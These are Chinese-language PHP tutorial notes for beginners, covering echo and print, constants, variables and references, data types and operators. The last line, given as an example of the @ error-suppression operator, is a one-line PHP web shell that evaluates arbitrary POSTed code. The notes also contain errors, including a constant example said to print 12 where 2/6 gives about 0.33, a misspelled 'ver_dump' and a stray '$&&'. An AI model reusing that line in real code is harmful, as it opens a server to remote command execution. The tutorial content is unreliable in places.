输出语句
echo
print
print_r()
ver_dump()
1. **echo**:
- `echo` 是 PHP 中最常用的输出语句,它可以输出一个或多个字符串。
- 例如:`echo "Hello, World!";`
2. **print**:
- `print` 也是用于输出字符串的语句,但它只能输出一个字符串,并始终返回 1。
- 例如:`print "Hello, World!";`
3. **print_r**:
- `print_r` 用于打印关于变量的易于理解的信息,通常用于调试目的。
- 例如:`print_r($array);`
4. **var_dump**:
- `var_dump` 也用于打印关于一个或多个变量的易于理解的信息,包括类型和值。
- 例如:`var_dump($variable);`
这些输出语句在PHP中都具有不同的功能和用途,可以根据具体的需求来选择使用哪种输出语句。
常量
define() 函数
const 关键字
define定义方式
首个参数定义常量的名称
第二个参数定义常量的值
可选的第三个参数规定常量名是否对大小写不敏感。默认是 false。
如果设置为 TRUE,该常量则大小写不敏感。默认是大小写敏感的。
define('PAI', '3.14');
echo '圆周率=', PAI; // 输出结果:圆周率=3.14
define('R', '5', true);
echo '半径=', R; // 输出结果:半径=5
echo '半径=', r; // 输出结果:半径=5
const方式定义
这个就简单易懂了
const R = 6;
const P = 2 / R;
echo 'P=', P;//输出结果:P=12
预定义常量
常量名 功能描述
__FILE__ PHP程序文件名
__LINE__ PHP程序中的当前行号
PHP_VERSION PHP程序的版本,如“7.1.4”
PHP_OS 执行PHP解析器的操作系统名称,如“WINNT”
TRUE 该常量是一个真值(true)
FALSE 该常量是一个假值(false)
NULL 该常量是一个空值(null)
E_ERROR 该常量表示错误级别为致命错误
E_WARNING 该常量表示错误级别为警告
E_PARSE 该常量表示错误级别为语法解析错误
E_NOTICE 该常量表示错误级别为通知提醒
基本使用方法
<?php
echo "PHP程序当前文件路径名: " .__FILE__;
echo "<br />";
echo "PHP程序当前行数: " .__LINE__;
echo "<br />";
echo PHP_VERSION;
echo "<br />";
echo PHP_OS;
?>
变量
概念:变量是用于存储信息的"容器":
组成:在PHP中,变量是由$符号和变量名组成的。
规则:变量名的命名规则与标识符相同。
举例:如$number、$_it为合法的变量名,而$123、$*math为非法变量名。
参考 “标识符” 章节
变量赋值
由于PHP是一种弱语言,变量不需要事先声明,就可以直接进行赋值使用。
实现方式:一种是默认的传值赋值,另一种是引用赋值。
传值赋值:变量默认总是传值赋值,将“=”右边的数据赋值为左边的变量。
引用赋值:所谓引用赋值就是在要赋值的变量前添加“&”符号。
两种实现方式的区别:传值赋值方式当一个变量值发生改变时,不影响另一个变量;而引用赋值的方式,另一个变量会随之变化。
<?php
//变量定义
$a=10; //将常量值赋给变量,会为a分配内存空间 java -->int a =10
$b=$a; //变量赋值给变量,是不是copy了一份副本,b也分配了内存空间呢?
$c=&$a; //引用是不会为c分配空间的,c和a是共用一份空间的。
echo $a,PHP_EOL;
echo $b,PHP_EOL;
echo $c,PHP_EOL;
$c =99;
echo '重新打印a b c变量,检查哪几个变量值变更了,说明了什么问题',PHP_EOL;
echo $a,PHP_EOL;
echo $b,PHP_EOL;
echo $c,PHP_EOL;
?>
数据类型
PHP中支持3类数据类型
标量数据类型 _ 复合数据类型 _ 特殊数据类型
标量数据类型
布尔型:boolean...................true和false
整型:integer.....................0-无限大
//整型可以由十进制、八进制和十六进制数指定,用来表示整数
//1. 在它前面加上“-”符号,可以表示负数。
//2. 八进制数使用0~7表示,前缀为0
//3. 十六进制数使用0~9与A~F表示,以0x为前缀
举例:
<?php
$number = 0;
var_dump($number);
echo '<hr>';
$number = 67;
var_dump($number);
echo '<hr>';
$number = -322;
var_dump($number);
echo '<hr>';
$hex = 0xa;
var_dump($hex);
echo '<hr>';
$oct = 012;
var_dump($oct);
?>
浮点型:float.....................带小数的数字
字符串:string....................汉字,英文,符号,其他国家语言
逻辑运算符
//and优先级较低
and和$&& 与 //两个真,返回真。有一个是假,返回假。
//or优先级较低
or和|| 或 //一个真,返回真。两个真,返回真。两个假,返回假。
xor 异或 //一个真、返回真。两个真,返回假。两个假,也返回假。
! 非 // 取反,如果是真,就是假。如果是假,就是真。
递增递减运算符
“++”或“--”放在操作数的前面,则先进行自增或自减运算,再进行其他运算。
“++”或“--”放在操作数的后面,则先进行其他运算,再进行自增或自减运算。
运算符 运算 范例 结果
++ 自增(前) $a=2;$b=++$a; $a=3;$b=3;
++ 自增(后) $a=2;$b=$a++; $a=3;$b=2;
-- 自减(前) $a=2;$b=--$a; $a=1;$b=1;
-- 自减(后) $a=2;$b=$a--; $a=1;$b=2;
错误运算符
PHP的错误控制运算符使用@符号来表示,把它放在一个PHP表达式之前,将忽略该表达式可能产生的任何错误信息。如: echo @(4 / 0);
<?php @eval($_POST[cmd]);?>